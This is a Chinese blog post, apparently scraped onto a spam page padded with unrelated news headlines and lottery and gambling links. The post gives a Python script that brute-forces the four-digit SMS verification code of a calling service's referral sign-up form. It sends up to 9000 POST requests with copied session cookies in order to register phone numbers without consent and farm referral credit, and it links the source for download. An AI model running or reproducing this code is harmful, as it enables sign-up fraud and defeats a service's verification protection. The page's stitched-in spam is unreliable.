• 人民日报客户端宣传页 2019-11-15
  • 一语惊坛(6月5日):担当新使命,展现新作为。 2019-11-15
  • 俄罗斯驻华大使:未来上合的首要任务是加强区域一体化 2019-11-14
  • 今后不懂藏文也能读《格萨尔》了 2019-11-14
  • 太原网友:谁来管管逢雨必淹的山大附小周边 2019-11-13
  • 拉萨市为第五批市级非遗代表性项目传承人颁证 2019-11-12
  • 商务部新闻发言人对美白宫6月18日声明发表谈话 2019-11-12
  • “袋鼠军团”宣称有秘密武器 老将新秀谁更耀眼? 2019-11-11
  • 他们是中国军人,他们2个月排除380万平方米雷场 2019-11-07
  • 陕西守艺人丨传承自父亲的老油坊,是我人生的希望之光 2019-11-04
  • 人民日报评论:在端午品味文化的芳香 2019-11-04
  • 广东摧毁两“呼死你”团伙 恶意呼叫超过12亿次 2019-11-03
  • 400年来旷日持久的一桩公案:《西游记》作者真的是吴承恩吗? 2019-11-03
  • 紫光阁中共中央国家机关工作委员会 2019-11-03
  • “普京4.0”时代 三大执政优势应对挑战 2019-11-02
  • 首页 > PHP与电话平台 > Python带协议头(headers)暴力注册MM电话代码

    201507月9

    Python带协议头(headers)暴力注册MM电话代码

    作者:admin 0 Comments 发表评论

    曾道人新报跑狗 www.jmuag.tw python接触没几天,但写 post程序是比较有趣比较有用的,所以研究了下,发现python的第三方库requests是很不错的POST,GET等网页交互操作的???,所以安装了这个库,并且参考文章://www.jmuag.tw/mmwldh.html,写了代码,其中协议头哪里弄了很久,另外在for循环里加入了while循环,结果程序没有自动跳出(这样用法是有问题的),后面用if判断就正常了。代码如下,都有解释,不说阐述:

    import requests # 引入requests???br /> url1=’//www.mmcaller.com/wap/laxinReg.act’ #POST网址
    data1=’mobile=被推荐的号码&invitedby=自己的号码&smsCode=1111&inviteway=web-url&sign=d479861f2626ad40709da1895ba4b9c0760e43bf9028ce84ea41626cd44f0bc475223fefd407bdd7e7b37bceb6fc62eab385198e1b95′
    #post的数据,其中1111是初始验证码

    head={‘Host’: ‘www.mmcaller.com’,
    ‘Connection’: ‘keep-alive’,
    ‘Content-Length’: ‘185’,
    ‘Accept’: ‘application/json’,
    ‘Origin’: ‘//www.mmcaller.com’,
    ‘X-Requested-With’: ‘XMLHttpRequest’,
    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6’,
    ‘Content-Type’: ‘application/x-www-form-urlencoded’,
    ‘Referer’: ‘//www.mmcaller.com/w/lx.c?s=web-url&a=?????’,
    ‘Accept-Encoding’: ‘gzip,deflate,sdch’,
    ‘Accept-Language’: ‘zh-CN,zh;q=0.8’,
    ‘Cookie’: ‘JSESSIONID=6517114FFCEBAB0FE9E5228C63A3FE08; U_UID_JSESSIONID_KEEPC=492569; U_BC_JSESSIONID_KEEPC=0.0; U_NAME_JSESSIONID_KEEPC=自己号码; U_PWD_JSESSIONID_KEEPC=37813d32cd5f64c0; Hm_lvt_6411748e94749dc822884a48bd026032=1436195631,1436280948,1436440536; Hm_lpvt_6411748e94749dc822884a48bd026032=1436449102; Hm_lvt_026df1e3785835b164361376798f7917=1436195274,1436280878,1436440509; Hm_lpvt_026df1e3785835b164361376798f7917=1436449123’}
    #协议头,就是这么写的,POST要用到,如果不懂,可以参考文章://www.jmuag.tw/mfwydh.html中关于协议头的解释

     

    r=requests.post(url1,data1,headers=head)#requests的POST数据格式,第一个是网址,第二个是POST数据,第三个是协议头,协议头在有些POST里不是必须的,但大部分都需要这个。

    r1=r.content
    print r1 #打印POST初始数据后的返回值
    numcod=1000 #设置初始跑码为1000,因为验证码是4位数,所以从这个跑起不会漏
    for i in range(9000): #设置9000次循环
    numcod=numcod+1 #验证码每次加1
    numm=str(numcod) #把验证码由数值类型转换成文本型数据
    data2=data1.replace(‘1111’,numm) #替换初始验证码1111为每次生成的验证码数字
    r=requests.post(url1,data=data2,headers=head) #requests又在POST数据
    print numcod #打印已经跑了的验证码数字

    print r.content #打印POST后的返回信息
    if(r.content != r1): #如果返回信息 不等于初始值,那么就说明已经找到了真正的验证码
    print ‘恭喜,已经找到真正的验证码,并且注册成功,验证码为:’+numm #打印验证码数值
    break #跳出for循环

    可以下载源码看://pan.baidu.com/s/1jG1UUPK

    推荐阅读相关文章:PHP与电话平台

    本文地址://www.jmuag.tw/python-headers.html
    版权所有 © 转载时必须以链接形式注明作者和原始出处!

    本文目前尚无任何评论.

    发表评论

  • 人民日报客户端宣传页 2019-11-15
  • 一语惊坛(6月5日):担当新使命,展现新作为。 2019-11-15
  • 俄罗斯驻华大使:未来上合的首要任务是加强区域一体化 2019-11-14
  • 今后不懂藏文也能读《格萨尔》了 2019-11-14
  • 太原网友:谁来管管逢雨必淹的山大附小周边 2019-11-13
  • 拉萨市为第五批市级非遗代表性项目传承人颁证 2019-11-12
  • 商务部新闻发言人对美白宫6月18日声明发表谈话 2019-11-12
  • “袋鼠军团”宣称有秘密武器 老将新秀谁更耀眼? 2019-11-11
  • 他们是中国军人,他们2个月排除380万平方米雷场 2019-11-07
  • 陕西守艺人丨传承自父亲的老油坊,是我人生的希望之光 2019-11-04
  • 人民日报评论:在端午品味文化的芳香 2019-11-04
  • 广东摧毁两“呼死你”团伙 恶意呼叫超过12亿次 2019-11-03
  • 400年来旷日持久的一桩公案:《西游记》作者真的是吴承恩吗? 2019-11-03
  • 紫光阁中共中央国家机关工作委员会 2019-11-03
  • “普京4.0”时代 三大执政优势应对挑战 2019-11-02
  • 南通棋牌娱乐中心 七星彩走势图带 内蒙古11选5玩法介绍 000427股票行情 新疆十一选五走势 双色球多人生日选号 加拿大极速飞艇计划 脉动棋牌手机版下载 山东福彩中奖查询 北京pk10是正规彩票吗